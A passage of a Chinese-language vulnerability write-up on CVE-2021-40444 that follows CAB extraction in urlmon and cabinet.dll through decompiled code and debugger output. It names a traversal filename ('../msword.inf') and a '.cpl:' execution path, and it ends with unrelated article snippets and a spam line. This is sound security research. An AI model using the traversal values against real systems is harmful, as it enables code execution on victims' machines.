    int __userpurge ExtractInfFile@(size_t a1@, ERF *a2@, const char *a3, const char *a4, struct SESSION *a5, char *a6) {  // [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]  v19 = a4;  v18 = a2;  *(a3 + 4) = 0;  *(a3 + 5) = 0;  *a3 = 0;  *(a3 + 6) = 1;  *(a3 + 202) = 0;  StringCchCopyA(a1, v11, v14);  if ( !Extract(a2, a3, a3, a2) )  {    for ( i = *(a3 + 4); i; i = i[1] )    {      v8 = *i;      if ( GetExtnAndBaseFileName(*i, v17) == 5 )      {        result = StringCchCopyA(v8, v12, v15);        if ( result >= 0 )          result = ExtractOneFile(v10, a3, v19, v13, v16);        return result;      }    }  }  return 0x80004005;}
    

    注意到在這個函數中,在調用完Extract之后,又調用了ExtractOneFile,而且在ExtractOneFile中同樣調用了Extract函數。這就比較有意思了,不知道這兩次Extract的調用有什么區別。

     根據上面的內容,我們確定了程序都調用了哪些FDI API函數,也明確了之后動態調試需要重點關注的位置。有了以上知識,我們開始從IDA偽代碼以及windbg調試輸出兩個角度,確定程序接下來的執行流程。

    3.3.2 FDICreate函數

    根據文檔,FDICreate函數會創建一個FDI的上下文,從源碼上來看,實際上就是由應用程序指定一些回調函數,使用其中的用于分配空間的回調函數分配一塊空間存在這些回調函數以及其他相關結構體的地址:

    HFDI __cdecl FDICreate(PFNALLOC pfnalloc, PFNFREE pfnfree, PFNOPEN pfnopen, PFNREAD pfnread, PFNWRITE pfnwrite, PFNCLOSE pfnclose, PFNSEEK pfnseek, int cpuType, PERF perf){  HFDI *HFDI; // ecx  HFDI result; // eax   if ( perf ) {    perf->erfOper = 0;    perf->erfType = 0;    perf->fError = 0;    HFDI = (HFDI *)pfnalloc(0x804);    if ( HFDI ) {      HFDI[34] = (HFDI)-1;      HFDI[33] = (HFDI)-1;      HFDI[1] = pfnfree;      HFDI[3] = pfnopen;      HFDI[4] = pfnread;      HFDI[5] = pfnwrite;      HFDI[6] = pfnclose;      HFDI[7] = pfnseek;      HFDI[8] = (HFDI)cpuType;      *((_WORD *)HFDI + 89) = 15;      HFDI[40] = (HFDI)0xFFFF;      HFDI[42] = (HFDI)0xFFFF;      HFDI[41] = (HFDI)0xFFFF;      result = HFDI;      HFDI[2] = pfnalloc;      *HFDI = perf;      HFDI[18] = 0;      HFDI[17] = 0;      HFDI[19] = 0;      return result;    }    perf->erfOper = 5;    perf->erfType = 0;    perf->fError = 1;  }  return 0;}
    

    根據調試器的跟蹤結果,發現程序在這里分配的空間地址為0xc27b778:

    0:009> peax=0e3d1528 ebx=00000000 ecx=71e8a940 edx=00110100 esi=07e2b290 edi=71e8a940eip=71ab7808 esp=07e2b0b8 ebp=07e2b0cc iopl=0         nv up ei pl zr na pe cycs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000247CABINET!FDICreate+0x38:71ab7808 ffd7            call    edi {urlmon!allocfunc (71e8a940)}0:009> peax=0c27b778 ebx=00000000 ecx=2f53d5f6 edx=0536024c esi=07e2b290 edi=71e8a940eip=71ab780a esp=07e2b0b8 ebp=07e2b0cc iopl=0         nv up ei pl zr na pe nccs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246CABINET!FDICreate+0x3a:71ab780a 59              pop     ecx
    

    FDICreate函數執行結束后,這塊空間數據為:

    0c27b778 07e2b2900c27b77c 71e8aba0 urlmon!freefunc0c27b780 71e8a940 urlmon!allocfunc0c27b784 71e8abb0 urlmon!openfunc0c27b788 71e8abd0 urlmon!readfunc0c27b78c 71e8ac40 urlmon!writefunc0c27b790 71e8a980 urlmon!closefunc0c27b794 71e8ac00 urlmon!seekfunc...
    

    如果檢查07e2b290這里的數據,會發現:

    0:009> db 7e2b29007e2b290  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................07e2b2a0  00 00 00 00 01 00 00 00-43 3a 5c 55 73 65 72 73  ........C:\Users07e2b2b0  5c 7a 6f 65 6d 5c 41 70-70 44 61 74 61 5c 4c 6f  \zoem\AppData\Lo07e2b2c0  63 61 6c 5c 54 65 6d 70-5c 4c 6f 77 5c 43 61 62  cal\Temp\Low\Cab07e2b2d0  34 32 35 41 00 00 00 00-00 00 00 00 00 00 00 00  425A............07e2b2e0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................07e2b2f0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................07e2b300  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
    

    當前從這里的輸出來看,7e2b290在這里肯定指向的不是這個字符串,只是恰好相鄰,所以被我發現了,這個字符串應該是在之前某步生成的,用于保存提取出來的文件。

     其中這里就能猜出來了,cab文件中保存的文件是../msword.inf,這里應該是有一個目錄遍歷的漏洞,最后msword.inf直接保存在了Low目錄下,從而讓后面猜測msword.inf的行為能夠成功,實現了漏洞的利用。

     但是我們還是繼續往下看。

    3.3.3 FDICopy函數

    在FDICopy函數中,首先調用LoginCabinet函數,這個函數讀入了cab文件的CFHEADER的36個字節,檢查了文件的signature,版本號以及標志位,同時確定了CFFILE的位置。

    在最后的doCabinetInfoNotify函數中,程序調用了urlmon!fdiNotifyExtract函數(if ( (this[9])(0, this + 0x1EF) != -1 )),這個函數在之后還會調用到,它其實進行了主要的cab解壓后的文件創建工作,不過在此次調用中并沒有進行相關工作。

    從IDA中得到函數聲明:int __cdecl fdiNotifyExtract(enum FDINOTIFICATIONTYPE a1, struct FDINOTIFICATION *a2);

    因此這里的調用中,FDINOTIFICATIONTYPE參數的數值是0,根據文件fdi.h(這個文件你應該可以在自己的操作系統里面搜索到):

    typedef enum {    fdintCABINET_INFO,              // General information about cabinet    fdintPARTIAL_FILE,              // First file in cabinet is continuation    fdintCOPY_FILE,                 // File to be copied    fdintCLOSE_FILE_INFO,           // close the file, set relevant info    fdintNEXT_CABINET,              // File continued to next cabinet    fdintENUMERATE,                 // Enumeration status} FDINOTIFICATIONTYPE; /* fdint */
    fdintCABINET_INFO:Called exactly once for each cabinet opened by FDICopy(), including continuation cabinets opened due to file(s) spanning cabinetboundaries. Primarily intended to permit EXTRACT.EXE to automatically select the next cabinet in a cabinet sequence even if not copying files that span cabinet boundaries.
    

    從IDA中代碼中看,如果FDINOTIFICATIONTYPE參數的數值是0,fdiNotifyExtract其實什么都沒干:

    if ( a1 == fdintCABINET_INFO || a1 == fdintPARTIAL_FILE )    return 0;
    

    繼續往下看,FDICopy函數調用了FDICallEnumerate,這個函數再次調用了urlmon!fdiNotifyExtract函數(if ( v3(5, this + 0x7BC) != -1 )),這次FDINOTIFICATIONTYPE參數的數值是5,對應fdintENUMERATE,從IDA代碼看,fdiNotifyExtract依舊沒有執行什么操作。

    之后FDICopy函數調用了FDIReadCFFILEEntry函數,這個函數讀入了CFFILE的前16個字節,不包含最后的szName字段,之后又讀入了后面的0x100字節的數據。根據iFolder字段判斷當前文件所處文件夾索引:

    之后FDICopy函數第三次調用urlmon!fdiNotifyExtract函數,這次的FDINOTIFICATIONTYPE參數的數值是2,對應fdintCOPY_FILE。

    經過windbg調試,發現程序調用了catDirAndFile函數,形成了解壓縮后文件的完整路徑C:\Users\zoem\AppData\Local\Temp\Low\Cab425A\../msword.inf:

    0:009> peax=07e2b3ac ebx=07e2b2a8 ecx=07e2b3ac edx=00000104 esi=0c27bf34 edi=07e2b28ceip=71e8aa7c esp=07e2af9c ebp=07e2b0bc iopl=0         nv up ei pl zr na pe nccs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246urlmon!fdiNotifyExtract+0xdc:71e8aa7c e866030000      call    urlmon!catDirAndFile (71e8ade7)0:009> peax=00000001 ebx=07e2b2a8 ecx=336b59e5 edx=07e2ad89 esi=0c27bf34 edi=07e2b28ceip=71e8aa81 esp=07e2afa4 ebp=07e2b0bc iopl=0         nv up ei pl zr na pe nccs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246urlmon!fdiNotifyExtract+0xe1:71e8aa81 85c0            test    eax,eax0:009> da 7e2b3ac07e2b3ac  "C:\Users\zoem\AppData\Local\Temp"07e2b3cc  "\Low\Cab425A\../msword.inf"
    

    之后程序會調用AddFile和NeedFile函數,經過NeedFile的判斷,程序從urlmon!fdiNotifyExtract函數返回,返回值為0。

    在fdi.h中說,如果返回值為0,表示跳過文件不復制。但是如果仔細查看該文件,在關于FDINOTIFICATIONTYPE的注釋說明部分,提供了一個在進行FDICopy過程中,FDINOTIFICATIONTYPE取值的典型變化情況:

    A typical sequence of calls will be something like this: fdintCABINET_INFO     // Info about the cabinet fdintENUMERATE        // Starting enumeration fdintPARTIAL_FILE     // Only if this is not the first cabinet, and                       // one or more files were continued from the                       // previous cabinet. ... fdintPARTIAL_FILE fdintCOPY_FILE        // The first file that starts in this cabinet ... fdintCOPY_FILE        // Now let's assume you want this file... // PFNWRITE called multiple times to write to this file. fdintCLOSE_FILE_INFO  // File done, set date/time/attributes  fdintCOPY_FILE        // Now let's assume you want this file... // PFNWRITE called multiple times to write to this file. fdintNEXT_CABINET     // File was continued to next cabinet! fdintCABINET_INFO     // Info about the new cabinet // PFNWRITE called multiple times to write to this file. fdintCLOSE_FILE_INFO  // File done, set date/time/attributes ... fdintENUMERATE        // Ending enumeration
    

    其中fdintPARTIAL_FILE針對的是同一文件存在于多個cab文件的情況,這里不考慮。從上面的流程可以看出,fdintCOPY_FILE參數傳入了兩次,如果當前文件是cab中的第一個文件,會傳入一次fdintCOPY_FILE,也就是此時的情況,程序并不會進行真正的解壓縮行為。

    那么在這次傳入fdintCOPY_FILE的時候,程序干了些什么呢?其實這里我沒有完全弄清楚,它涉及到一個數據結構,但是我沒有找到詳細的文檔介紹,如果從頭開始說的話,要回到ExtractInfFile函數的開始部分,上面已經貼了這個函數的偽代碼,在調用Extract函數之前,程序調用了StringCchCopyA函數(StringCchCopyA(0x104u, a3 + 0x1C, a1, v11, v14);),這個函數實際上就是把cab解壓的目標目錄復制到了a3 + 0x1C這個位置。而在這個語句之前,有這樣兩句代碼:

    *((_DWORD *)a3 + 6) = 1;  // 注意a3指向DWORD,所以這里偏移值是0x18h*((_DWORD *)a3 + 0xCA) = 0;  // 偏移值0x328,注意這里,后面NeedFile會用到
    

    *(a3+6)這里應該類似于一個標志位。

    在第一次執行到AddFile的時候(也就是第一次傳入fdintCOPY_FILE的時候),函數代碼如下:

    BOOL __userpurge AddFile@(unsigned int a1@, size_t cchDest@, unsigned int a3@, int a4){  // [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]   if ( (*(a1 + 0x18) & 1) == 0 )   // 這里a1指向byte,所以偏移值也是0x18h,是標志位    return 1;  v7 = CoTaskMemAlloc(0xCu);    // 分配了一個大小為0xC的空間,下面的注釋對這個空間進行解釋  if ... // 分配失敗  v8 = CoTaskMemAlloc(strlen(cchDest) + 1);  // 為解壓目標文件名分配空間  *v7 = v8;   // 0xC空間首位保存解壓目標文件名  if ... // 分配失敗  v7[2] = 1;  // 0xC空間第三位數值為1 !!!這里下面會提到!!!  (StringCchCopyA)(cchDest, a3, v11);   v7[1] = *(a1 + 0x10); // 0xC空間第二位不知道保存的什么,但是和下面兩句一起看  ++*(a1 + 0x14);  // 這里像是鏈表節點數量遞增  *(a1 + 0x10) = v7;  // 看起來像是將這個新分配的0xC空間鏈入了一個鏈表  return (UIntAdd)(a1, v10, v12) >= 0;  // 這里從調試結果看像是統計文件總解壓后大小}
    

    根據上面的注釋,AddFile這個函數應該是將程序當前查看的解壓文件添加到a1指向的一個結構體中,0xC的空間就保存了當前解壓文件的文件名信息,以及鏈表的下一個節點,還有一個標志位(3.3.6小結會提到這個標志位的作用)。

    在這里貼出所謂的a1指向的結構體是什么樣子的(我不確定大小是不是正確的,或許包含了之后非結構體的數據):

    07e2b28c 00 5c 41 00 00 00 00 00 00 00 00 00 00 00 00 00  .\A.............07e2b29c 90 7c 92 08 01 00 00 00 01 00 00 00 43 3a 5c 55  .|..........C:\U07e2b2ac 73 65 72 73 5c 7a 6f 65 6d 5c 41 70 70 44 61 74  sers\zoem\AppDat07e2b2bc 61 5c 4c 6f 63 61 6c 5c 54 65 6d 70 5c 4c 6f 77  a\Local\Temp\Low07e2b2cc 5c 43 61 62 34 32 35 41 00 00 00 00 00 00 00 00  \Cab425A........注意到首四個字節就是解壓后大小0x00415c00,偏移0x10的位置指向了分配的0xC大小的空間。
    

    注意到首四個字節就是解壓后大小0x00415c00,偏移0x10的位置指向了分配的0xC大小的空間。

    AddFile執行完之后,程序調用NeedFile:

    int __fastcall NeedFile(int this, const CHAR *a2){  // [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]   files_list = *(this + 0x10);   // 0x10這里保存的就是之前提到的鏈表  while ( StrCmpIIA(a2, *files_list) )  // 鏈表遍歷,找到文件名相同的位置  {    files_list = *(files_list + 4); // 0xC空間第二個位置保存的文件名指針    if ( !files_list )      goto LABEL_6;  }  if ( !*(files_list + 8) )    return 0;LABEL_6:  if ( (*(this + 0x18) & 2) != 0 )              // 標志位,此時是1,不滿足    return 1;  for ( i = *(this + 0x328); i; i = *(i + 4) )  // 0x328偏移位置,上面提到過,是0  {    if ( !StrCmpIIA(*i, a2) )      return 1;  }  return 0;}
    

    所以這次調用NeedFile會返回0,因此最終fdiNotifyExtract也會返回0。

    之后FDICopy函數就沒有什么重要操作了。

    3.3.4 回到ExtractInfFile函數

    執行完FDICopy函數之后,Extract函數調用FDIDestroy函數,會刪除之前FDICreate函數創建的FDI上下文結構。Extract函數執行完成后,根據一開始得到的函數調用流程,程序會回到ExtractInfFile函數。

    程序接下來會判斷GetExtnAndBaseFileName函數的返回值是否為5,根據IDA偽代碼:

    ...if ( !lstrcmpA(sz, "CAB") )  return 2;if ( !lstrcmpA(sz, "OCX") )  return 4;if ( !lstrcmpA(sz, "DLL") )  return 3;if ( !lstrcmpA(sz, "EXE") )  return 6;if ( !lstrcmpA(sz, "INF") )  return 5;if ( !lstrcmpA(sz, "OSD") )  return 7;if ( lstrcmpA(sz, "CAT") )  return v4;return 8;
    

    可以確定這個函數是在判斷cab中的文件的擴展名,返回值為5時說明文件擴展名是inf。而我們測試的cab中的文件是../msword.inf,符合要求。

    3.3.5 ExtractOneFile函數

    之前我們提到過,在ExtractOneFile函數中,程序會再次調用Extract函數,但是除此之外,在調用Extract函數之前,它還執行了下面的代碼:

    lpsz[0] = a1;  // 調試發現這里的a1就是文件名../msword.inflpsz[1] = 0;lpsz[2] = 0;*(a5 + 6) = 0;*(a5 + 0xCA) = lpsz;
    

    標志位變成了0,也就是說在之后第二次傳入fdintCOPY_FILE,程序調用AddFile的時候,程序會在一開始就返回1。

    與此同時*(a5 + 0xCA),也就是偏移值0x328的位置不再是0,而是傳入了lpsz,lpsz的首四個字節保存的就是文件名指針。這樣在調用NeedFile的時候,程序就會執行到循環體內部:

    for ( i = *(this + 0x328); i; i = *(i + 4) )  // 0x328偏移位置{  if ( !StrCmpIIA(*i, a2) )    return 1;}
    

    并且由于文件名相同,函數返回1。

    這次fdiNotifyExtract函數不會在調用NeedFile之后返回,而是會繼續向下執行:

    path = v2 + 0x1C;cchDest = (v2 + 0x120);if ( !catDirAndFile(v2 + 0x120, 0x104, (v2 + 0x1C), fdi_ntf->psz1) || !(AddFile)(v2, fdi_ntf->psz1, fdi_ntf->cb) )  return -1;if ( !NeedFile(v2, fdi_ntf->psz1) )  return 0;if ( StrStrA(fdi_ntf->psz1, "\\") ) { // 因為在patch_cab進行了修改,所以不包含“\\”字符  ..}else {  full_path = v2 + 0x120;}result = Win32Open(0x8302, full_path, file_name, v12, v13);if ( result == -1 )  return -1;return result;
    

    程序會調用Win32Open函數,該函數會調用系統函數CreateFileA,按照完整路徑C:\Users\zoem\AppData\Local\Temp\Low\Cab425A\../msword.inf創建文件。

    3.3.6 FDIGetFile函數

    這次因為fdiNotifyExtract成功創建了要解壓的文件,因此跳出回到FDICopy函數后,程序的流程會轉到FDIGetFile函數的調用上:

    下面是FDIGetFile函數的偽代碼,關鍵在于其中的while循環,FDIGetDataBlock函數會讀取一個CFDATA的數據,獲得其解壓后的大小curr_size_written,每次調用write_func對這部分數據進行寫入,然后判斷尚未寫入的數據size_unwritten是否為0,如果不為0,就繼續調用FDIGetDataBlock讀取下一個CFDATA。而size_unwritten一開始的大小等于cbFile,就是0x415c00。

    int __thiscall FDIGetFile(_DWORD *this) {  size_unwritten = this[0x1D];                  // cbFile  if ( size_unwritten ) {    new_size_written = this[0x1E];              // 文件在文件夾中的未壓縮偏移,0    old_size_written = new_size_written;    if ( new_size_written < this[0xC] )      this[0x24] = 0xFFFF;    for ( i = InitFolder(this, *(this + 62)); i; i = FDIGetDataBlock(this) ) {      if ( new_size_written < this[0xC] + *(this[0x12] + 6) ) {        while ( 1 ) {          v5 = new_size_written - this[0xC];          fdidata_size = *(this[0x12] + 6) - v5;          curr_size_written = fdidata_size;          if ( fdidata_size > size_unwritten )          {            fdidata_size = size_unwritten;            curr_size_written = size_unwritten;          }          if ( curr_size_written != (this[5])(this[0x23], v5 + this[0x10], fdidata_size) )// write_func            break;          new_size_written = curr_size_written + old_size_written;          old_size_written += curr_size_written;          size_unwritten -= curr_size_written;          if ( !size_unwritten )   // 這里判斷尚未寫入的數據量            goto LABEL_13;          if ( !FDIGetDataBlock(this) )  // 這里判斷讀取下一個CFDATA是否成功            goto LABEL_20;        }        v12 = *this;        v12[1] = 0;        *v12 = 8;        v12[2] = 1;        break;      }    }LABEL_20:    if ( this[0x23] != -1 ) {      (this[6])(this[6], this[0x23]);           // close_func 此時內容正式寫入硬盤      this[0x23] = -1;    }  }  else {LABEL_13:  ...  }  return 0;}
    

    代碼在這里存在一個邏輯上的漏洞,數據全部寫入完成,即size_unwritten==0的情況,以及CFDATA讀取失敗,即FDIGetDataBlock函數返回值為0的情況,這兩個情況的后處理方法不同。

    如果是CFDATA讀取失敗,即FDIGetDataBlock函數返回值為0的情況,程序會跳轉到LABEL_20,執行close_func關閉文件,此時對緩沖區進行flush,正式將內容寫入硬盤;

    如果是數據全部寫入完成,即size_unwritten==0的情況,程序會跳轉到LABEL_13,這部分代碼我沒有貼出來,有一些數據賦值的操作,我也不太清楚在干嘛,但是最終的一點在于,它調用了fdiNotifyExtract函數,傳入的是fdintCLOSE_FILE_INFO參數。

    也就是說兩者關閉文件的函數不同,fdiNotifyExtract在進行關閉文件操作的時候,代碼如下:

    if ( a1 == fdintCLOSE_FILE_INFO ) {  if ( catDirAndFile(v2 + 0x120, 260, (v2 + 28), fdi_ntf->psz1) && AdjustFileTime(fdi_ntf->time, v12, v13) ) {    CloseHandle(fdi_ntf->hf);    v4 = fdi_ntf->attribs;    v5 = v4 ? v4 & 0xFFFFFFD8 : 0x80;    if ( SetFileAttributesA(v2 + 0x120, v5) ) {      MarkExtracted(v2, v6);      return 1;    }  }}
    

    關鍵在于MarkExtracted函數:

    int __thiscall MarkExtracted(_DWORD *this, int a2) {  v2 = this[4];  while ( StrCmpIIA(v4, v5) ) {    ...  }  *(v2 + 8) = 0;  // 注意這里的標志位清零  return 1;}
    

    可能從偽代碼看不出來這個標志位是什么。通過windbg調試,我發現它修改的就是3.3.3小結中提到的調用AddFile的時候分配的0xC空間的第三位,當時是設置成了1,我還不知道指的是什么,現在看來這個第三位應該是是否解壓的標志。

    3.3.7 DeleteExtractedFiles函數

    FDIGetFile執行完之后,沒有什么重要的操作,一直跳出,知道到達GetSupportedInstallScopesFromFile函數(調用ExtractInfFile的位置),然后就執行到了DeleteExtractedFiles函數。

    void __thiscall DeleteExtractedFiles(_DWORD *this) {  v2 = this[4];                                 // 這里就是0xC的那個空間  while ( v2 ) {    if ( !v2[2] && catDirAndFile(FileName, 260, (this + 7), *v2) && SetFileAttributesA(FileName, 0x80u) )      DeleteFileA(FileName);    CoTaskMemFree(*v2);    v3 = v2;    v2 = v2[1];    CoTaskMemFree(v3);  }  this[4] = 0;}
    

    這個函數在if條件語句中檢查了上面提到的是否解壓的標志標志位,只有在這個標志位是0的情況下,才會繼續往下執行其他函數,包括DeleteFileA函數。

    因為在FDIGetFile函數中,程序沒有正確的對這個標志位清零,因此DeleteFileA函數不會被執行,釋放的mfword.inf保留了下來,導致后面可以通過.cpl:../../../AppData/Local/Temp/Low/msword.inf路徑執行釋放的文件。

    3.3.8 小結

    到目前為止,我們已經完整分析了整個漏洞利用流程,同時2.4小結提出的四個問題也都得到了解答。

    經過分析,漏洞主要存在于兩個位置:

    • urlmon!fdiNotifyExtract函數中對于分隔符的判斷,只判斷了\\,而沒有考慮/的情況,導致目錄遍歷情況的出現;
    • cabinet!FDIGetFile,當cbFile大于所有CFDATA的大小,或者其他情況導致FDIGetDataBlock調用失敗的時候,后處理步驟缺少標志位清除操作

    補丁比較

    我沒找到適用于1709的補丁版本,不過主機也是win10的,所以直接比較了主機中和虛擬機中的文件,發現微軟并沒有對上面提到的兩個函數進行修改,而是修改了catDirAndFile函數:

    新添加的部分查找了路徑中的/字符,并替換成了\\:

    至于標志位的清除操作則沒有進行修改,可能是因為這個問題無傷大雅吧,因為缺少了目錄遍歷的條件,釋放的文件位于一個隨機的文件夾下,攻擊者無法定位到釋放的文件,因此即使釋放的文件沒有被正確刪除,也不會造成危害。

    總結

    這篇文章從poc代碼,cab文件格式以及IDA靜態代碼分析+windbg調試三個方面對cve-2021-40444漏洞進行了比較全面的分析。其實漏洞分析本身并不比之前更難,但是明顯能夠感覺到,因為不像之前有詳細的資料可以參考(雖然也有分析文章),不確定哪些地方是真正和漏洞相關的內容,我的個人探索會比較多,再加上本身也想要把整個執行流程弄清楚,因此這篇文章也就比較長。

    參考資料

    1、Microsoft Cabinet Format)

    2、CVE-2021-40444 漏洞深入分析

    3、lockedbyte/CVE-2021-40444

    4、Cabinet (file format))

    5、j00sean twitter

    6、window下,nodejs 安裝 http-server,開啟命令行HTTP服務器

    函數調用5c
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    該漏洞發生的位置是在驅動文件Win32k.sys中的xxxHandleMenuMessage函數,生的原因是沒有對該函數中調用的xxxMNFindWindowFromPoint函數的返回值進行合法性驗證,直接將其作為數傳遞給后面的xxxSendMessage函數調用而造成了提權漏洞。
    最近寫了點反序列化的題,疏學淺,希望對CTF新手有所幫助,有啥誤還請大師傅們批評指正。php反序列化簡單理解首先我們需要理解什么是序列化,什么是反序列化?本質上反序列化是沒有危害的。但是如果用戶對數據可控那就可以利用反序列化構造payload攻擊。
    漏洞描述該漏洞在與win32k模塊中的SetImeInfoEx函數,在該函數中未對tagWINDOWSTATION結構偏移0x14的spkiList進行有效性驗證就對其進行解引用作,而spkList可以為NULL,時就會對地址0x14進行解引用作,導致系統崩潰。
    前言本文主要著眼于glibc下的一些漏洞及利用技巧和IO調用鏈,由淺入深,分為 “基礎堆利用漏洞及基本IO攻擊” 與 “高版本glibc下的利用” 兩部分來進行講解,前者主要包括了一些glibc相關的基礎知識,以及低版本glibc下見的漏洞利用方式,后者主要涉及到一些較新的glibc下的IO調用鏈。
    近年來,瀏覽器安全事件頻發,給人們帶來嚴重的損失。目前這兩類技術的研究重點主要在于對瀏覽器的JavaScript引擎的模糊試,基礎思想都是首先將JS代碼轉換為語法樹AST,再在語法樹上進行相關變異作。同時對其他部分進行變異,以便可以發現類似的或新的誤。DIE記錄運行時覆蓋反饋信息決定新文件將被保存。外,DIE同樣記錄自定義函數的數和返回值的類型,以便在新構建的AST節點中進行合法調用。
    這似乎又是一個0 day漏洞,這個漏洞與pif文件有關,是我在研究pif文件的時候發現的。
    由此可以推測,之前找到的main.node,可能就是解密模塊。時找到了AES的算法量,前兩個是重復的,可能是件問題。只能去問度娘了,搜索一下AES加密解密原理與 C 實現代碼。
    BPF之路二(e)BPF匯編
    2021-12-28 16:18:32
    原始的BPF又之為class BPF(cBPF), BPF與eBPF類似于i386與amd64的關系
    匯編語言是一種用于電子計算機、微處理器、微控制器或其他可編程器件的低級語言,亦為符號語言。Smali匯編基礎Smali語言最早是由JesusFreke發布在Google Code上的一個開源項目,并不是擁有官方標準的語言。因此也將Smali語言作Android虛擬機的反匯編語言。基本類型Smali基本數據類型中包含兩種類型,原始類型和引用類型。而在Smali中則是以LpackageName/objectName的形式表示對象類型。
    沒有用戶資金損失,Aurora 迅速修復了這個誤,為每個人帶來了積極的結果。由于該漏洞被評估為嚴重級別,因此白帽公司已 Aurora 獲得 600 萬美元的獎金,這是歷史上第二大賞金支出。許多 DeFi 協議是不同鏈的原生協議。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类